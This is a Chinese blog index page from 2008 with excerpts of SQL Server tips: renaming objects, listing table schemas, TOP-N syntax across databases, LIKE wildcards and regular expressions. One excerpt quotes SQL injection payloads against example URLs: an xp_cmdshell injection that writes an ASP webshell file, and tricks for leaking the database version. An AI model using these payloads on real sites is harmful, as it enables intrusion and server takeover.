龚艺的博客

龚艺的博客-码行天下

天才在于勤奋,知识在于积累。

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

2008年8月24日

摘要: --1.给表中字段添加描述信息 CREATE table T2 (id int , name char (20)) GO EXEC sp_addextendedproperty 'MS_Description', 'Employee ID', 'user', dbo, 'table', T2, 'column', id EXEC sp_updateextendedproperty 'MS_Description', 'this is a test', 'user', dbo, 'table', T2, 'column', id --2.修改数据库名称 EXEC sp_renamedb 'old_db_name', 'new_db_name' --3.修改数据表名称和字段名称 EXEC sp_rename 'old_table_name', 'new_table_name'--修改数据表名称 EXEC sp_rename 'table_name.[old_column_name]', 'new_column_name', 'COLUMN'--修改 阅读全文
posted @ 2008-08-24 19:01 龚艺-码行天下 阅读(329) 评论(0) 推荐(0) 编辑

摘要: QUOTE: 1、 用^转义字符来写ASP(一句话木马)文件的方法:  http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^ c:\mu.asp';--  echo ^ c:\mu.asp 2、 显示SQL系统版本:  http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)  http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- 阅读全文
posted @ 2008-08-24 18:54 龚艺-码行天下 阅读(725) 评论(0) 推荐(0) 编辑

摘要: 在A服务器中有表 table1 ,想把该表的内容导到 B服务器中,这两个数据库没联网,怎么办? 导成外部文件,再用导入导出。。。。 这太笨了吧,如果对方服务器是INTERNET上的,只能执行服本怎么办,晕死了吧,用这个存储过程来帮你。 阅读全文
posted @ 2008-08-24 18:39 龚艺-码行天下 阅读(210) 评论(0) 推荐(0) 编辑

摘要: -- ====================================================== --列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息 --在查询分析器里运行即可,可以生成一个表,导出到EXCEL中 -- ====================================================== SELECT (case when a.colorder=1 then d.name else '' end)表名, a.colorder 字段序号, a.name 字段名, (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识, (case when (SELECT count(*) FROM sysobjects WHERE (name in 阅读全文
posted @ 2008-08-24 18:37 龚艺-码行天下 阅读(350) 评论(0) 推荐(0) 编辑

摘要: 1. ORACLE SELECT * FROM TABLE1 WHERE ROWNUM=N 2. INFORMIX SELECT FIRST N * FROM TABLE1 3. DB2 SELECT * ROW_NUMBER() OVER(ORDER BY COL1 DESC) AS ROWNUM WHERE ROWNUM=N 或者 SELECT COLUMN FROM TABLE FETCH FIRST N ROWS ONLY 4. SQL SERVER SELECT TOP N * FROM TABLE1 5. SYBASE SET ROWCOUNT N GO SELECT * FROM TABLE1 阅读全文
posted @ 2008-08-24 18:34 龚艺-码行天下 阅读(287) 评论(0) 推荐(0) 编辑

摘要: EXECUTE sp_makewebtask @outputfile = 'D:"alcatel"20030902"check.htm', @query = 'SELECT * FROM Eiems_temporarydata..property', @templatefile = 'D:"alcatel"20030902"check.TPL',------check.tpl文件为模板文件 @dbname = 'Eiems_temporarydata', @rowcnt = 0, @whentype = 9 ,@lastupdated = 1 GO ******************************check.TPL******************************* 阅读全文
posted @ 2008-08-24 18:31 龚艺-码行天下 阅读(175) 评论(0) 推荐(0) 编辑

摘要: 看了Heroman的一篇文章,谈论该不该在项目中使用存储过程代替SQL语句。看后有一些感想,因为最近工作接触到一个系统,业务过程几乎完全是用存储过程实现的。随着系统的不断发展,新的需求逐渐难以支持。这个原因当然很复杂,即使不使用存储过程,可能也有同样的问题。但是既然谈到具体技术上,就来看一下一个主要以存储过程实现的系统到底有哪些问题。 存储过程和嵌入程序中的SQL哪个更好,要用一种合理的比较方式来比,不能拿写的好的存储过程和写的烂的程序比,当然也不能拿写的烂的存储过程和写的好的程序比。我们先假设开发人员具有同样水平,项目组具有同样的组织协调能力,他们写出的存储过程和代码具有同样的质量,都已经根据产品的具体情况做出了最优的选择。 阅读全文
posted @ 2008-08-24 18:23 龚艺-码行天下 阅读(286) 评论(1) 推荐(0) 编辑

摘要: SQL五个集合函数:SUM,AVG,COUNT,MAX,MIN  通配符的一些用法:(关键字:like % [] -)   select * from tablename where column1 like '[A-M]%'   这样可以选择出column字段中首字母在A-M之间的记录   select * from tablename where column1 like '[ABC]%'   这样可以选择出column字段中首字母是A或者B或者C的记录   select * from tablename where column1 like '[A-CG]%'   这样可以选择出column字段中首字母在A-C之间的或者是G的记录   select * from tablename where column1 like '[^C]%'   这样可以选择出column字段中首字母不是C的记录 阅读全文
posted @ 2008-08-24 18:16 龚艺-码行天下 阅读(299) 评论(0) 推荐(0) 编辑

摘要: 匹配中文字符的正则表达式: [\u4e00-\u9fa5] 匹配双字节字符(包括汉字在内):[^\x00-\xff] 应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1) String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;} 匹配空行的正则表达式:\n[\s| ]*\r 匹配HTML标记的正则表达式:/.*|/ 阅读全文
posted @ 2008-08-24 18:07 龚艺-码行天下 阅读(180) 评论(0) 推荐(0) 编辑